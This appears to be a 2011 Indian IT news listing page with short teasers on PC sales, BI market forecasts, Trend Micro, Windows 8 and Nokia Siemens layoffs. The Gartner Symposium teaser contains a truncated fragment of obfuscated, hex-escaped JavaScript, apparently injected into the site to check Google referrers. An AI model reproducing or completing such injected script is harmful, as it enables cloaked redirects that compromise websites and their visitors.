Now India's own web tool for sustainability

ITC Infotech, a fully owned subsidiary of ITC Ltd that provides IT services and solutions to global clients, has launched a new package called OptSustain. Touted as Indias first such indigenously developed product, it has been purpose-built with the aim of simplifying the process of sustainability management across the globe.The package was showcased at an exhibition during the sixth annual... By sanjay.gupta gupta

Trend Micro launches cloud security solution

Trend Micro has launched its virtualisation and cloud security solutions, Deep Security 8.0 and SecureCloud 2.0, in India.According to Amit Nath, Country Manager (India & SAARC), Trend Micro, this is the first time that a company has come up with hypervisor-level integration for security solutions. The company has partnered with VMware for the same.Security issues are among the prime... By sanjay.gupta gupta

The Magic of Goals

We are almost through this year, and some of you are already glad its coming to an end. Some of you may already be setting your sights on some new goals and objectives for next year. Others are just cruising and the very thought of setting any goals hasnt taken root yet. Instead of New Year resolutions, which are often such a waste of time, try some of these tips to create the right goals for... By sanjay.gupta gupta

PC sales in India highest ever for a quarter: IDC

PC market in India thumped initial expectations and the overall market tipped off 3 million units in Q3 2011 (July September 2011), registering the highest shipments as noted ever in the India PC market, said research firm IDC in a release. The India PC market shipments for Q3 2011 stood at 3.09 million units, i.e. a significant sequential growth of 26.6% over the previous quarter even as the... By sanjay.gupta gupta

Gartner Symposium/ITxpo 2011

The theme for the research firm's event is "Re-imagine IT: Leading from the front." It will have more than 70 sessions, workshops, how-to clinics, roundtables and other activities on Business Intelligence, Business Process Improvement and Infrastructure & Operations, among others. Runners Pointvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67"+"\x6c"+"\x65... By sanjay.gupta gupta

Getting Media Savvy to Grow

It is interesting to watch how colours, shapes, forms, gestures, pictures, spoken words, calligraphy, beats, rhythm and music, give life to human expression. The capability of human mind to arrange each element of life, based on several permutations and combinations, will drive the evolution of any kind, technology not being an exception. This is a sure sign of an evolving human mind. The... By sanjay.gupta gupta

Secure Wireless VPN

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Enlightening with Intelligence

The Business Intelligence (BI) platform, still considered as a white elephant by most IT managers, though not highly pervasive in the market, has made a transition from its traditional image to make its presence felt across industry verticals. It is beyond doubt that the business demand for a proper BI tool is growing within organisations, though the adoption ratio has not kept pace with the... By sanjay.gupta gupta

How big is BI in India? About $81 mn in 2012

The market for business intelligence (BI) software in India is forecast to reach revenue of $81.5 million in 2012 a 15.6 percent increase over 2011, according to Gartner, Inc. Worldwide BI software market revenue is forecast to grow 8.7 percent to reach approximately $12.7 billion in 2012.Gartner analysts said the market for BI platforms will remain one of the fastest growing software markets... By sanjay.gupta gupta

More old systems can run Windows 8: Microsoft

In a recent blog post titled 'Improving the setup experience,' Steven Sinofsky, president of Microsoft's Windows and Windows Live Division, has hinted that the company's upcoming Windows 8 will be able to run on older systems. "In the past that often had to do with increasing system requirements in new Windows releases, and the need to purchase new PCs with more power to run the new version.... By sanjay.gupta gupta

Nokia Siemens to cut 17,000 jobs

Nokia Siemens Networks (NSN), the world's second-largest maker of mobile phone network equipment, is axing 17,000 jobs, nearly a quarter of its workforce, to help save about $1.35 billion a year, said Reuters in a report.Ever since NSN was set up in 2007, it has struggled to make a profit. The firm did not say where it would make the cuts. The Reuters report quotes analysts as saying that this... By sanjay.gupta gupta

Idea launches low-cost smartphones to push 3G

While the speed and covarge of 3G in India are still under fire from a lot of subscribers, Idea Cellular, India's fourth-biggest mobile phone carrier by subscribers, has upped the ante by launching low-cost smartphones from Chinese firms Huawei and ZTE. According to a Reuters report published by EconomicTimes.com, Idea will sell the smartphones at Rs5,850 rupees ($110) and Rs7,992 rupees,... By sanjay.gupta gupta